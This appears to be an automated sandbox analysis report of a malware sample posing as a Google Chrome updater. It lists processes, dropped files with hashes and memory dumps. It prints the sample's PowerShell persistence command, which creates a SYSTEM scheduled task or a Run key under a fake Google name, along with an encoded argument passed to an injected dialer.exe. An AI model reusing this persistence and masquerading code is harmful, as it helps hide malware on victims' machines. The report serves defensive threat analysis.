C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe xtrjicqmdliu2⤵
-
C:\Windows\system32\cmd.execmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"3⤵
- Drops file in Program Files directory
-
C:\Windows\system32\cmd.execmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe wvhbfinhdckusjju 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZeXwQ/O4+due3etuok0KCy6TAeBBK2Zj7dzTkc9P7Txuspl/ztFHeT1vDsXwtgxIFZnxGXI+P7h6Wy2BaqsXFRrbRIyylpVUfDVtjurLuTI6hfYZYlaT2c8T3z2D8KilAioXHHI3GdcX8L+5AQJHhaF3EikxjkII2qRl4IAJt0ne1Kthho/EoWoWqiJ8V46anYGIeeueaKL6G4gUS0jG8bW+uOPYpliibsIQvftJQy3GdQNbdmaQoQosbMtF/zsQIOPYtzoBcdM/sdKVWCIsST/Py6kltT+qpekCzJYBFF4LST+8+EmmopPFkm4CPe5KhMiY/+g/sQ7d50uqIjFwwoHwsdnFS1l7B7kznzCIpeqO/4VPcOjXZ8D/gqWFx/7uyyvuxXByWtdfg2SHIbTo9ax767hx8DEZJobkKiCLCF5s3S9KZPJ6oc8SVkEHvmPn3ocLOCMVNSrrmyVksnNDnuU8b1vWVxnieD7xm0UnpffWA=2⤵
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
2.8MB
MD5eb27bb8cfa99d659e4fe023e9002ecd1
SHA1c783400302fdfae0518269c5a5a8d4bad29f42a3
SHA2569c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f
SHA512ab5ad3c094ed1f094aa82d80d298e6d0ab15a94b58b007dbe8a6219fe8498569b5d9013d770bd9910f177f94f2639d84650655e8f60113051e98b386c49c36a2
-
C:\Program Files\Google\Chrome\updater.exeFilesize
2.8MB
MD5eb27bb8cfa99d659e4fe023e9002ecd1
SHA1c783400302fdfae0518269c5a5a8d4bad29f42a3
SHA2569c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f
SHA512ab5ad3c094ed1f094aa82d80d298e6d0ab15a94b58b007dbe8a6219fe8498569b5d9013d770bd9910f177f94f2639d84650655e8f60113051e98b386c49c36a2
-
C:\Program Files\Google\Libs\g.logFilesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5162c16f870f39c3406832c69d7937cc8
SHA1d5fc4dd56be70fe1b1be7f9176831f495d13a6cf
SHA2566b01c099c05d287f9af6fe821b631dbc120057d68a42500b7dc486f60e58df57
SHA5120b704d20d92d7bb5ceca52ea2b81f8bbbfd570a80876b14a9957b4b87f2bf05df494fd66e3b1ea2455c9c4b1da2b98572211b9db5e43da8f79bbc024d2c8f2f6
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_anjpa3d0.wbr.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
-
memory/444-284-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmpFilesize
8.0MB
-
memory/444-262-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmpFilesize
8.0MB
-
memory/444-274-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmpFilesize
8.0MB
-
memory/444-282-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmpFilesize
8.0MB
-
memory/444-272-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmpFilesize
8.0MB
-
memory/444-270-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmpFilesize
8.0MB
-
memory/444-268-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmpFilesize
8.0MB
-
memory/444-286-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmpFilesize
8.0MB
-
memory/444-266-0x000002753E990000-0x000002753E9B0000-memory.dmpFilesize
128KB
-
memory/444-265-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmpFilesize
8.0MB
-
memory/444-263-0x000002753E990000-0x000002753E9B0000-memory.dmpFilesize
128KB
-
memory/444-280-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmpFilesize
8.0MB
-
memory/444-260-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmpFilesize
8.0MB
-
memory/444-258-0x000002753E3A0000-0x000002753E3E0000-memory.dmpFilesize
256KB
-
memory/444-257-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmpFilesize
8.0MB
-
memory/444-255-0x000002753E360000-0x000002753E380000-memory.dmpFilesize
128KB
-
memory/1592-247-0x00007FF4C88B0000-0x00007FF4C88C0000-memory.dmpFilesize
64KB
-
memory/1592-237-0x000001C1651C0000-0x000001C1651D0000-memory.dmpFilesize
64KB
-
memory/1592-235-0x000001C1651C0000-0x000001C1651D0000-memory.dmpFilesize
64KB
-
memory/1592-236-0x000001C1651C0000-0x000001C1651D0000-memory.dmpFilesize
64KB
-
memory/1672-146-0x000001A815E20000-0x000001A815E30000-memory.dmpFilesize
64KB
-
memory/1672-138-0x000001A815E30000-0x000001A815E52000-memory.dmpFilesize
136KB
-
memory/1672-145-0x000001A815E20000-0x000001A815E30000-memory.dmpFilesize
64KB
-
memory/1672-144-0x000001A815E20000-0x000001A815E30000-memory.dmpFilesize
64KB
-
memory/2696-219-0x000002264E8C0000-0x000002264E8C8000-memory.dmpFilesize
32KB
-
memory/2696-213-0x000002264E960000-0x000002264E970000-memory.dmpFilesize
64KB
-
memory/2696-220-0x000002264E8F0000-0x000002264E8F6000-memory.dmpFilesize
24KB
-
memory/2696-218-0x000002264E910000-0x000002264E92A000-memory.dmpFilesize
104KB
-
memory/2696-217-0x000002264E8B0000-0x000002264E8BA000-memory.dmpFilesize
40KB
-
memory/2696-210-0x000002264E890000-0x000002264E8AC000-memory.dmpFilesize
112KB
-
memory/2696-216-0x000002264E8D0000-0x000002264E8EC000-memory.dmpFilesize
112KB
-
memory/2696-215-0x000002264E880000-0x000002264E88A000-memory.dmpFilesize
40KB
-
memory/2696-221-0x000002264E900000-0x000002264E90A000-memory.dmpFilesize
40KB
-
memory/2696-212-0x000002264E960000-0x000002264E970000-memory.dmpFilesize
64KB
-
memory/2696-214-0x00007FF44FE40000-0x00007FF44FE50000-memory.dmpFilesize
64KB
-
memory/3456-259-0x00007FF79F830000-0x00007FF79F879000-memory.dmpFilesize
292KB
-
memory/3824-211-0x00007FF7E1380000-0x00007FF7E1648000-memory.dmpFilesize
2.8MB
-
memory/3824-256-0x00007FF7E1380000-0x00007FF7E1648000-memory.dmpFilesize
2.8MB
-
memory/4232-161-0x00000191F8460000-0x00000191F8470000-memory.dmpFilesize
64KB
-
memory/4232-160-0x00000191F8460000-0x00000191F8470000-memory.dmpFilesize
64KB
-
memory/4372-185-0x00007FF601010000-0x00007FF601066000-memory.dmpFilesize
344KB
-
memory/4712-189-0x00000247F0CE0000-0x00000247F0CF0000-memory.dmpFilesize
64KB
-
memory/4712-188-0x00000247F0CE0000-0x00000247F0CF0000-memory.dmpFilesize
64KB
-
memory/4712-187-0x00000247F0CE0000-0x00000247F0CF0000-memory.dmpFilesize
64KB
-
memory/4868-165-0x00007FF640F40000-0x00007FF641208000-memory.dmpFilesize
2.8MB
-
memory/4868-143-0x00007FF640F40000-0x00007FF641208000-memory.dmpFilesize
2.8MB